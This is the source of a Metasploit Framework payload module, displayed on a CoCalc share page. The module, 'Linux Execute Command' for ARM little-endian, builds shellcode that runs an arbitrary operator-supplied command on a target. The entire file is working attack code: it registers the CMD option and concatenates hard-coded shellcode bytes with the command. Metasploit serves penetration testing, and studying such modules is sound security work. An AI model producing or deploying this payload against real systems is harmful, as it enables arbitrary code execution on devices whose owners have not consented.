CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/armle/exec.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
16
CachedSize = 29
17
18
include Msf::Payload::Single
19
include Msf::Payload::Linux
20
21
def initialize(info = {})
22
super(merge_info(info,
23
'Name' => 'Linux Execute Command',
24
'Description' => 'Execute an arbitrary command',
25
'Author' => 'Jonathan Salwan',
26
'License' => MSF_LICENSE,
27
'Platform' => 'linux',
28
'Arch' => ARCH_ARMLE))
29
30
register_options(
31
[
32
OptString.new('CMD', [ true, "The command string to execute" ]),
33
])
34
end
35
36
def generate(opts={})
37
cmd = datastore['CMD'] || ''
38
39
payload =
40
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" +
41
"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
42
43
end
44
end
45
46